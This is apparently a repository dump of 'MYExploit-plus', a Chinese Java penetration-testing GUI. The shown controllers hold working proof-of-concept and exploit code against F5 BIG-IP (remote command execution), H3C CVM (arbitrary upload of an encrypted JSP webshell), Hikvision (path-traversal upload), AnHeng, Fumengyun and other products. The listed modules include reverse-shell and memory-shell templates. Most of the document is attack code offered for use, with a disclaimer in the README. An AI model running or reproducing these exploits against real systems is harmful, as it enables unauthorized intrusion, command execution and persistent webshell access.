├── NewVersionUrl
├── README.md
├── img
├── image-20240110105025032.png
├── image-20240110105111699.png
├── image-20240110105403304.png
├── image-20240110110508003.png
├── image-20240110111028682.png
└── image-20240110114453028.png
├── lib
├── NCLogin65.jar
├── basic.jar
├── borland_bin_client.jar
├── cglib-nodep-2.2.jar
├── dl.jar
├── fwpub.jar
├── granite.jar
├── log.jar
├── uapwstool.jar
└── xerces.jar
└── src
└── main
└── java
└── com
└── achuna33
├── Controllers
├── AnHengController.java
├── BasicController.java
├── BasicMapping.java
├── Console.java
├── Controller.java
├── CustomController.java
├── DaHuaController.java
├── F5BigipController.java
├── FumengYunController.java
├── H3CController.java
├── HIKVISIONController.java
├── HuaTianController.java
├── JhSoftController.java
├── JinShanController.java
├── KingdeeController.java
├── LandrayController.java
├── QiAnXinController.java
├── SangForController.java
├── SeeyonController.java
├── SerializedDataController.java
├── SpringController.java
├── TRXController.java
├── TongDaController.java
├── VulnerabilityDescriptionMapping.java
├── WanhuController.java
├── WeaverController.java
├── WeaverEMoblieController.java
├── WeaverEOfficeController.java
├── XYController.java
├── XinDianController.java
├── YiSaitongController.java
├── YimiController.java
├── YongyouController.java
├── ehrController.java
├── fineReportController.java
└── iofficeController.java
├── Exceptions
├── IncorrectParamsException.java
├── NullMethodArgsException.java
├── UnSupportedActionTypeException.java
├── UnSupportedGadgetTypeException.java
└── UnSupportedPayloadTypeException.java
├── Gadgets
├── C3P0.java
├── CommonsBeanutils1.java
├── CommonsBeanutils2.java
├── CommonsCollectionsK1.java
├── CommonsCollectionsK2.java
├── JRMPClient.java
├── JRMPClient2.java
├── JRMPClientExploit.java
├── Jdk7u21.java
├── Jre8u20.java
├── RMIRegistryExploitJdk8u231.java
├── URLDNS.java
└── utils
│ ├── ClassFiles.java
│ ├── ExecCheckingSecurityManager.java
│ ├── Gadgets.java
│ ├── Reflections.java
│ └── Util.java
├── MainApplication.java
├── SupportType
├── GadgetType.java
├── MyDIYType.java
├── PayloadType.java
├── Poc_Exp.java
├── SupportType.java
└── SupportVul.java
├── Templates
├── CommandEchoTemplate.java
├── CommandTemplate.java
├── DnslogTemplate.java
├── DynamicFilterTemplate.java
├── DynamicInterceptorTemplate.java
├── JettyMemshellTemplate.java
├── MyClassLoader.java
├── NettyMemshellTemplate.java
├── PutfileTemplate.java
├── ReverseShellTemplate.java
├── Template.java
├── TomcatEchoTemplate.java
├── TomcatMemshellTemplate1.java
├── TomcatMemshellTemplate2.java
└── myClassTemplate.java
├── UI
└── UIController.java
├── Update
└── Update.java
└── Utils
├── AESEncodeMain.java
├── ASMChanger.java
├── Cache.java
├── DNSLOG.java
├── HttpRequest.java
├── Intruder.java
├── MyURLClassLoader.java
└── Response.java
/NewVersionUrl:
--------------------------------------------------------------------------------
1 | https://github.com/zhaoyumi/MYExploit/releases/download/v2.0.5/MYExploit-2.0.5-SNAPSHOT.jar
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
🌟MYExploit-plus
2 |
3 | 
4 |
5 |
6 | ## 项目简介
7 | 二开修改的工具:https://github.com/achuna33/MYExploit
8 |
9 | 一款扩展性高的渗透测试框架渗透测试框架(完善中)
10 |
11 | 新增了泛微、用友、亿赛通等多种漏洞集合。
12 |
13 |
14 | ### 长期改Buging And 目前只支持部分EXP 利用 (慢慢写ing)
15 |
16 | ~~😘喜欢就给个star吧!~~
17 |
18 | 
19 |
20 |
21 | 
22 |
23 | 
24 |
25 | 
26 |
27 | 
28 |
29 | 
30 |
31 |
32 |
33 | ## 使用声明
34 | 本工具仅用于安全测试目的
35 | 用于非法用途与开发者无关
36 |
37 |
--------------------------------------------------------------------------------
/img/image-20240110105025032.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110105025032.png
--------------------------------------------------------------------------------
/img/image-20240110105111699.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110105111699.png
--------------------------------------------------------------------------------
/img/image-20240110105403304.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110105403304.png
--------------------------------------------------------------------------------
/img/image-20240110110508003.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110110508003.png
--------------------------------------------------------------------------------
/img/image-20240110111028682.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110111028682.png
--------------------------------------------------------------------------------
/img/image-20240110114453028.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/img/image-20240110114453028.png
--------------------------------------------------------------------------------
/lib/NCLogin65.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/NCLogin65.jar
--------------------------------------------------------------------------------
/lib/basic.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/basic.jar
--------------------------------------------------------------------------------
/lib/borland_bin_client.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/borland_bin_client.jar
--------------------------------------------------------------------------------
/lib/cglib-nodep-2.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/cglib-nodep-2.2.jar
--------------------------------------------------------------------------------
/lib/dl.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/dl.jar
--------------------------------------------------------------------------------
/lib/fwpub.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/fwpub.jar
--------------------------------------------------------------------------------
/lib/granite.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/granite.jar
--------------------------------------------------------------------------------
/lib/log.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/log.jar
--------------------------------------------------------------------------------
/lib/uapwstool.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/uapwstool.jar
--------------------------------------------------------------------------------
/lib/xerces.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhaoyumi/MYExploit/bafcaab548c0bce5074fd14510ba3f37e19ad174/lib/xerces.jar
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/AnHengController.java:
--------------------------------------------------------------------------------
1 |
2 | package com.achuna33.Controllers;
3 |
4 | import com.achuna33.SupportType.Poc_Exp;
5 | import com.achuna33.SupportType.SupportVul;
6 | import com.achuna33.Utils.Cache;
7 | import com.achuna33.Utils.HttpRequest;
8 | import com.achuna33.Utils.Response;
9 |
10 | import java.net.MalformedURLException;
11 | @BasicMapping(uri = "安恒")
12 | public class AnHengController extends Controller implements BasicController{
13 | @VulnerabilityDescriptionMapping(Description = "安恒 安恒信息-明御WAF report.m 任意用户登录",SupportVulType = SupportVul.信息泄露)
14 | public void vul_user(Poc_Exp type, String target, Object... args) throws MalformedURLException {
15 | WriteLog("\n开始检测: vul_user_任意用户登录");
16 |
17 |
18 | switch (type){
19 | case EXP:
20 | break;
21 | case POC:
22 | HttpRequest httpRequest = new HttpRequest(target+"/report.m?a=rpc-timed");
23 | Response result = httpRequest.Get("");
24 |
25 |
26 | if(result.responseBody.contains("error_0x110005")&&result.statusCode==200){
27 | WriteLog("\n 存在漏洞");
28 | WriteLog("\n请求地址:"+target+"/report.m?a=rpc-timed\r\n");
29 | WriteLog("请求完成后访问目标ip:端口\r\n");
30 | WriteLog(target+"/config.m?a=management上传特定dat文件可rce");
31 | // WriteLog("\n"+result1.responseBody);
32 | }else {
33 | WriteLog("\n[-] 不存在漏洞");
34 | }
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/BasicController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | public interface BasicController {
4 |
5 | }
6 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/BasicMapping.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target(ElementType.TYPE)
10 | public @interface BasicMapping {
11 | String uri();
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/Console.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.Exceptions.NullMethodArgsException;
4 | import com.achuna33.Gadgets.utils.Util;
5 | import com.achuna33.SupportType.Poc_Exp;
6 | import com.achuna33.UI.UIController;
7 | import com.achuna33.Utils.Cache;
8 | import com.achuna33.Utils.Utils;
9 |
10 | import java.io.File;
11 | import java.lang.reflect.InvocationTargetException;
12 | import java.lang.reflect.Method;
13 | import java.net.MalformedURLException;
14 | import java.net.URL;
15 | import java.util.List;
16 |
17 | import static com.achuna33.Utils.Cache.WriteLogBase;
18 |
19 | public class Console extends Thread {
20 |
21 | public static String MethodName ;
22 | public static String Product;
23 | public Object[] args;
24 | @Override
25 | public void run() {
26 | try {
27 |
28 | Method runMethod = this.getClass().getMethod(MethodName,String.class);
29 | runMethod.invoke(this,Product);
30 | } catch (NoSuchMethodException e) {
31 | e.printStackTrace();
32 | } catch (InvocationTargetException e) {
33 | e.printStackTrace();
34 | } catch (IllegalAccessException e) {
35 | e.printStackTrace();
36 | }
37 | }
38 | public void setMethodName(String methodName){
39 | MethodName = methodName;
40 | }
41 | public void setProduct(String product){
42 | Product = product;
43 | }
44 | public void setArgs(Object... objects){
45 | args = objects;
46 | }
47 |
48 | public void GoPoc(String product) throws InvocationTargetException, IllegalAccessException, NullMethodArgsException, MalformedURLException {
49 | BasicController controller = Cache.routes.get(product);
50 | String target;
51 | if (this.args!=null){
52 | target =(String) args[0];
53 | String id =String.valueOf(Thread.currentThread().getId()) ;
54 |
55 | String log_name = Cache.uiController.LogDirPath+ File.separator+ new URL(target).getHost().toString()+"_"+ Utils.getRandomString(4) +"_log.log";
56 | Cache.ThreadIdForLog.put(id,log_name);
57 | System.out.println("\n//->>开始扫描 "+target);
58 |
59 | }else {
60 | target = Cache.uiController.targetAddress.getText();
61 | WriteLogBase("\n//->>开始扫描 "+ Cache.uiController.SupportType.getValue()+"的 所有POC\n");
62 | }
63 |
64 |
65 | String VulName = Cache.uiController.SupportVul.getValue();
66 | String Vultype = Cache.uiController.SupportType.getValue();
67 | if(Vultype.equals("Spring")){
68 | if (target.endsWith("/")){
69 | target = target.substring(0,target.lastIndexOf("/"));
70 | }
71 | }else {
72 | target = getUrl(target);
73 | }
74 | if (VulName.equals("All")){
75 | List methodList = Cache.getVulRoutesValue(product);
76 | for (Method method: methodList){
77 | try {
78 | System.out.println(method.getName());
79 | method.invoke(controller, Poc_Exp.POC,target,args);
80 | }catch (Exception e){
81 | System.out.println("invoke methos:"+method.getName()+"时出现错误");
82 | // Controller.WriteLog("\n[*] invoke method:"+method.getName()+"时出现错误");
83 | }
84 |
85 | }
86 | }else {
87 | List methodList = Cache.getVulRoutesValue(product);
88 | for (Method method: methodList){
89 | if (method.getName().equals(VulName)){
90 | try {
91 | WriteLogBase("\n[*]开始检测 "+method.getName()+":");
92 | method.invoke(controller, Poc_Exp.POC,target,args);
93 | break;
94 | }catch (Exception e){
95 | System.out.println("invoke methos:"+method.getName()+"时出现错误");
96 | Controller.WriteLog("\n[*] invoke method:"+method.getName()+"时出现错误");
97 | }
98 | }
99 | }
100 | }
101 |
102 | }
103 |
104 | public void GoExp(String product) throws MalformedURLException {
105 | Cache.uiController.PublicArea.setText("");
106 | Cache.uiController.PublicArea.appendText("[*]开始:\n");
107 | BasicController controller = Cache.routes.get(Product);
108 | String target = Cache.uiController.targetAddress.getText();
109 | target = getUrl(target);
110 | String VulName = Cache.uiController.SupportVul.getValue();
111 | if (VulName.equals("All")){
112 | Controller.WriteLog("\n[*] 指定利用漏洞");
113 | return;
114 | }
115 | List methodList = Cache.getVulRoutesValue(product);
116 | for (Method method: methodList){
117 | if (method.getName().equals(VulName)){
118 | try {
119 | WriteLogBase("\n[*]开始检测 "+method.getName()+":");
120 | method.invoke(controller, Poc_Exp.EXP,target,args);
121 | break;
122 | }catch (Exception e){
123 | System.out.println("[*]invoke methos:"+method.getName()+"时出现错误");
124 | Controller.WriteLog("\n[*] invoke method:"+method.getName()+"时出现错误");
125 | }
126 | }
127 | }
128 | }
129 |
130 |
131 | public static String getUrl(String target) throws MalformedURLException {
132 | URL url = new URL(target);
133 | String result = "";
134 | String port = "";
135 | result = url.getProtocol()+"://"+url.getHost();
136 | if (url.getPort()<=-1){
137 |
138 | }else {
139 | result +=":"+url.getPort();
140 | }
141 | return result;
142 | }
143 | public static void main(String[] args) throws MalformedURLException {
144 | URL url = new URL("http://127.0.0.1/index");
145 | System.out.println(url.getProtocol());
146 | System.out.println(url.getHost());
147 | System.out.println(url.getPort());
148 | }
149 | }
150 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/Controller.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.UI.UIController;
4 | import com.achuna33.Utils.Cache;
5 | import javafx.application.Platform;
6 |
7 | import java.io.File;
8 | import java.io.FileWriter;
9 | import java.io.IOException;
10 | import java.io.PrintWriter;
11 |
12 | import static com.achuna33.Utils.Cache.WriteLogBase;
13 |
14 | public class Controller {
15 | public static Boolean FileOrLogArea = false;
16 | public static void WriteLog(String text){
17 | if (!text.startsWith("\n[")){
18 | text = text.replace("\n","");
19 | text ="\n[*]" +text;
20 | }
21 |
22 | if (Cache.uiController.targetAddress.getText().startsWith("file:")){
23 | System.out.println(Thread.currentThread().getId());
24 | String id = String.valueOf(Thread.currentThread().getId()) ;
25 | String path = Cache.ThreadIdForLog.get(id);
26 | WriteLog2File(path,text);
27 | }else {
28 | //Cache.uiController.logTextArea.setStyle("-fx-highlight-fill: lightgray; -fx-highlight-text-fill: firebrick; -fx-font-size: 20px;");
29 | WriteLogBase(text);
30 | }
31 | }
32 | public static void WriteExpLog(String text){
33 | if (!text.startsWith("\n[")){
34 | text = text.replace("\n","");
35 | text ="\n[*]" +text;
36 | }
37 |
38 | Cache.uiController.PublicArea.appendText(text);
39 | }
40 | public static void WriteLog2File(String filePath,String Content) {
41 | FileWriter fw = null;
42 | try {
43 | //如果文件存在,则追加内容;如果文件不存在,则创建文件
44 | filePath = java.net.URLDecoder.decode(filePath,"UTF-8");
45 | if (System.getProperties().getProperty("os.name").toLowerCase().contains("mac os")){
46 | filePath = "/" + filePath;
47 | }
48 | File f=new File(filePath);
49 | if (!f.exists()){
50 | f.createNewFile();
51 | }
52 | fw = new FileWriter(f, true);
53 | } catch (IOException e) {
54 | e.printStackTrace();
55 | }
56 | PrintWriter pw = new PrintWriter(fw);
57 | pw.println(Content);
58 | pw.flush();
59 | try {
60 | fw.flush();
61 | pw.close();
62 | fw.close();
63 | } catch (IOException e) {
64 | e.printStackTrace();
65 | }
66 | }
67 |
68 | public static void WriteSuccessLog(String text){
69 | if (text.startsWith("\n[*]")||text.startsWith("\n[+]")){
70 | text = text.substring(4);
71 | text = "\n[+]"+ text;
72 | WriteLogBase(text);
73 | }else {
74 | text = "\n[+]"+ text;
75 | WriteLogBase(text);
76 | }
77 | }
78 | public static void WriteFailLog(String text){
79 | if (text.startsWith("\n[*]")){
80 | text = text.substring(4);
81 | text = "\n[-]"+ text;
82 | WriteLogBase(text);
83 | }else if (text.startsWith("[*]")){
84 | text = text.substring(3);
85 | text = "\n[-]"+ text;
86 | WriteLogBase(text);
87 | } else {
88 | text = "\n[-]"+ text;
89 | WriteLogBase(text);
90 | }
91 | }
92 |
93 |
94 | }
95 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/CustomController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.HttpRequest;
6 | import com.achuna33.Utils.Response;
7 |
8 | import java.net.MalformedURLException;
9 |
10 | @BasicMapping(uri = "路径扫描")
11 | public class CustomController extends Controller implements BasicController{
12 | @VulnerabilityDescriptionMapping(Description = "信息泄漏(目录爆破)",SupportVulType = SupportVul.信息泄露)
13 | public void vul_DirSearch(Poc_Exp type, String target, Object... args)throws MalformedURLException {
14 | switch (type){
15 | case EXP:
16 | break;
17 | case POC:
18 | System.out.format("\33[32;4m我是博主%n");//%n表示换行
19 | System.out.format("\33[32;4m我是你爹%n");
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/F5BigipController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 | import com.achuna33.SupportType.Poc_Exp;
3 | import com.achuna33.SupportType.SupportVul;
4 | import com.achuna33.Utils.HttpRequest;
5 | import com.achuna33.Utils.Response;
6 | import com.achuna33.Utils.Utils;
7 |
8 | import java.net.MalformedURLException;
9 |
10 | @BasicMapping(uri = "F5")
11 | public class F5BigipController extends Controller implements BasicController{
12 | @VulnerabilityDescriptionMapping(Description = "BIG-IP 远程命令执行漏洞",SupportVulType = SupportVul.RuntimeExec)
13 | public void vul_c_命令执行(Poc_Exp type, String target, Object... args) throws MalformedURLException {
14 | WriteLog("\n[*]开始检测: BIG-IP 远程命令执行漏洞 远程命令执行漏洞");
15 |
16 |
17 | switch (type){
18 | case EXP:
19 | String command = (String) args[0];
20 | HttpRequest httpRequest1 = new HttpRequest(target+"/mgmt/tm/util/bash");
21 | String data2 = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}";
22 | httpRequest1.addHeaders("Host","127.0.0.1");
23 | httpRequest1.addHeaders("Authorization","Basic YWRtaW46");
24 | httpRequest1.addHeaders("X-F5-Auth-Token","a");
25 | httpRequest1.addHeaders("Content-type","");
26 | httpRequest1.addHeaders("Accept-Encoding"," gzip, deflate");
27 | httpRequest1.addHeaders("Content-type","application/json");
28 | httpRequest1.addHeaders("Accept","*/*");
29 | httpRequest1.addHeaders("referer","127.0.0.1");
30 | httpRequest1.addHeaders("ConnectioN","close, X-F5-Auth-Token");
31 | Response result1 = httpRequest1.Post(data2.replace("id",command));
32 | WriteLog(result1.responseBody);
33 | break;
34 | case POC:
35 | HttpRequest httpRequest = new HttpRequest(target+"/mgmt/tm/util/bash");
36 | String data = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}";
37 | httpRequest.addHeaders("Host","localhost");
38 | httpRequest.addHeaders("Authorization","Basic YWRtaW46");
39 | httpRequest.addHeaders("X-F5-Auth-Token","a");
40 | httpRequest.addHeaders("Content-type","application/json");
41 | // httpRequest.addHeaders("Content-type","");
42 | httpRequest.addHeaders("referer","127.0.0.1");
43 | // System.out.println(httpRequest.getClass());
44 | httpRequest.addHeaders("Accept-Encoding"," gzip, deflate");
45 | httpRequest.addHeaders("Accept","*/*");
46 | httpRequest.addHeaders("ConnectioN","close, X-F5-Auth-Token");
47 | Response result = httpRequest.Post(data);
48 | if(result.responseBody.contains("uid=")&&result.statusCode==200){
49 | WriteLog("\n[*] 存在漏洞");
50 | WriteLog("\n[*]请求地址:"+target+"/mgmt/tm/util/bash"+"未写exp,建议抓包到burp自行修改命令");
51 | WriteLog("\n"+result.responseBody);
52 | }else {
53 | WriteLog("\n[-] 不存在漏洞");
54 | }
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/FumengYunController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 |
4 | import com.achuna33.SupportType.Poc_Exp;
5 | import com.achuna33.SupportType.SupportVul;
6 | import com.achuna33.Utils.Cache;
7 | import com.achuna33.Utils.HttpRequest;
8 | import com.achuna33.Utils.Response;
9 |
10 | @BasicMapping(uri = "孚盟云")
11 | public class FumengYunController extends Controller implements BasicController{
12 | @VulnerabilityDescriptionMapping(Description="孚盟云 AjaxMethod.ashx SQL注入漏洞" ,SupportVulType= SupportVul.SQLInjection)
13 | public void vul_Getfile(Poc_Exp type, String target, Object... args) throws Exception {
14 | WriteLog("\n开始检测: 孚盟云 AjaxMethod.ashx SQL注入漏洞");
15 |
16 | switch (type){
17 | case EXP:
18 | break;
19 | case POC:
20 |
21 | HttpRequest httpRequest = new HttpRequest(target+"/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27");
22 | Response result = httpRequest.Get("");
23 | if(result.responseBody.toLowerCase().contains("'Y'")){
24 | WriteLog(" 存在漏洞");
25 | WriteLog(result.responseBody);
26 | }else {
27 | WriteLog(" 不存在漏洞");
28 | }
29 | WriteLog("\n"+result.responseBody);
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/H3CController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.HttpRequest;
6 | import com.achuna33.Utils.Response;
7 | import com.achuna33.Utils.Utils;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri = "H3C")
12 | public class H3CController extends Controller implements BasicController{
13 | @VulnerabilityDescriptionMapping(Description="H3C_CVM_前台任意文件上传漏洞" ,SupportVulType= SupportVul.UploadFile)
14 | public void vul_H3C_CVM(Poc_Exp type, String target, Object... args) throws Exception {
15 | WriteLog("\n[*]开始检测: H3C_CVM_前台任意文件上传漏洞");
16 | String data = "shellcode";
17 | String url2 = "/cas/js/lib/buttons/iconfig.jsp";
18 | String url = "/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/iconfig.jsp&name=222";
19 | switch (type){
20 | case EXP:
21 | String path = null;
22 | String mypayload = null;
23 | try {
24 | path = (String) args[0];
25 | try {
26 | byte[] bytes = Utils.readFile(path);
27 | mypayload = new String(bytes);
28 | }catch (Exception e){
29 | WriteExpLog("\n [*] 文件读取失败");
30 | }
31 | }catch (Exception e){
32 |
33 | }
34 | String payload = "<%@page import=\"java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*\" %>\n" +
35 | "<%!\n" +
36 | "private byte[] Decrypt(byte[] data) throws Exception\n" +
37 | "{\n" +
38 | " String key=\"e45e329feb5d925b\";\n" +
39 | "\tfor (int i = 0; i < data.length; i++) {\n" +
40 | "\t\tdata[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));\n" +
41 | "\t}\n" +
42 | "\treturn data;\n" +
43 | "}\n" +
44 | "%>\n" +
45 | " <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return\n" +
46 | " super.defineClass(b,0,b.length);}}%>\n" +
47 | " <%if (request.getMethod().equals(\"POST\")){\n" +
48 | " ByteArrayOutputStream bos = new ByteArrayOutputStream();\n" +
49 | " byte[] buf = new byte[512];\n" +
50 | " int length=request.getInputStream().read(buf);\n" +
51 | " while (length>0)\n" +
52 | " {\n" +
53 | " byte[] data= Arrays.copyOfRange(buf,0,length);\n" +
54 | " bos.write(data);\n" +
55 | " length=request.getInputStream().read(buf);\n" +
56 | " }\n" +
57 | " new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}\n" +
58 | " %>";
59 |
60 | if (mypayload!=null){
61 | payload = mypayload;
62 | }else {
63 | WriteExpLog("\n [*] 默认shell 为冰蝎shell 密码 rebeyond");
64 | }
65 | String expshellpath = Utils.getRandomString(4)+".jsp";
66 | url = url.replace("iconfig.jsp",expshellpath);
67 | HttpRequest httpRequest3 = new HttpRequest(target+url);
68 | httpRequest3.addHeaders("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.31");
69 | httpRequest3.addHeaders("Content-range"," bytes 0-10/20");
70 | httpRequest3.addHeaders("Accept-Encoding"," gzip, deflate");
71 | httpRequest3.addHeaders("Content-type","");
72 | httpRequest3.addHeaders("Accept-Language"," zh-CN,zh;q=0.9");
73 | httpRequest3.addHeaders("Accept"," text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
74 | data = data.replace("shellcode",payload);
75 |
76 | httpRequest3.Post(data);
77 |
78 | Response result1 = new HttpRequest(target +url2.replace("iconfig.jsp",expshellpath)).Get("");
79 | if(result1.statusCode==200){
80 | WriteExpLog("\n[*] shell path:\n"+target +url2.replace("iconfig.jsp",expshellpath));
81 | }else {
82 | WriteExpLog("\n 访问失败:\n"+target +url2.replace("iconfig.jsp",expshellpath));
83 | WriteExpLog("\n 请验证POC 可靠性 或 EXP免杀性");
84 |
85 | }
86 | break;
87 | case POC:
88 | String shellpath = Utils.getRandomString(4)+".jsp";
89 | String poc = "c0bb4ba866309a864d22f8853e8f7213";
90 | HttpRequest httpRequest2 = new HttpRequest(target+url.replace("iconfig.jsp",shellpath));
91 | httpRequest2.addHeaders("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.31");
92 | httpRequest2.addHeaders("Content-range"," bytes 0-10/20");
93 | httpRequest2.addHeaders("Accept-Encoding"," gzip, deflate");
94 | httpRequest2.addHeaders("Content-type","");
95 | httpRequest2.addHeaders("Accept-Language"," zh-CN,zh;q=0.9");
96 | httpRequest2.addHeaders("Accept"," text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
97 | httpRequest2.Post(data.replace("shellcode",poc));
98 | Response result = new HttpRequest(target+url2.replace("iconfig.jsp",shellpath)).Get("");
99 | if(result.responseBody.contains("c0bb4ba866309a864d22f8853e8f7213")&&result.statusCode==200){
100 | WriteLog("\n[*] 存在漏洞");
101 | WriteLog("访问:"+target +url2.replace("iconfig.jsp",shellpath));
102 | }else {
103 | WriteLog("\n[-] 不存在漏洞");
104 | }
105 | }
106 | }
107 |
108 | @VulnerabilityDescriptionMapping(Description="H3C_H3C_ERXXXG2敏感信息泄露漏洞" ,SupportVulType= SupportVul.信息泄露)
109 | public void vul_H3C_ERXXXG2(Poc_Exp type, String target, Object... args) throws Exception {
110 | WriteLog("\n[*]开始检测: H3C_H3C_ERXXXG2敏感信息泄露漏洞");
111 | String url = "/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg";
112 | switch (type) {
113 | case POC:
114 | HttpRequest httpRequest = new HttpRequest(target + url);
115 | Response result = httpRequest.Get("");
116 | if (result.statusCode == 200 && result.responseBody.contains("$sys@base")) {
117 | WriteLog("\n[*] 存在漏洞");
118 | WriteLog("\n[*] (burp方包GET)漏洞链接:" + target + url);
119 | } else {
120 | WriteLog("\n[*] 不存在漏洞");
121 | }
122 | case EXP:
123 | break;
124 | }
125 | }
126 |
127 | }
128 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/HIKVISIONController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.*;
6 |
7 | import java.net.MalformedURLException;
8 |
9 | @BasicMapping(uri = "海康威视")
10 | public class HIKVISIONController extends Controller implements BasicController{
11 | @VulnerabilityDescriptionMapping(Description = "海康威视综合安防 lm 文件上传漏洞",SupportVulType = SupportVul.UploadFile)
12 | public void vul_lm_Uploadfile(Poc_Exp type, String target, Object... args) throws MalformedURLException {
13 | WriteLog("\n[*]开始检测: 海康威视综合安防 lm 文件上传漏洞");
14 | String randomStr = Utils.getRandomString(4)+".jsp";
15 | String url = "/lm/api/files;.css";
16 | String data = "------WebKitFormBoundary9PggsiM755PLa54a\n" +
17 | "Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/lm/filename\"\n" +
18 | "Content-Type: application/zip\n" +
19 | "\n" +
20 | "\n" +
21 | "Yep!\n" +
22 | "------WebKitFormBoundary9PggsiM755PLa54a--";
23 | switch (type){
24 | case POC:
25 | data =data.replace("filename",randomStr);
26 | HttpRequest httpRequest = new HttpRequest(target+url);
27 | httpRequest.addHeaders("Content-Type","multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a");
28 | Response result = httpRequest.Post(data);
29 | if (result.statusCode==200 && result.responseBody.contains(randomStr)){
30 | WriteLog("\n[*] 存在漏洞");
31 | WriteLog("\n[*] 访问地址:"+target+"/lm/"+randomStr+";.css");
32 | }else {
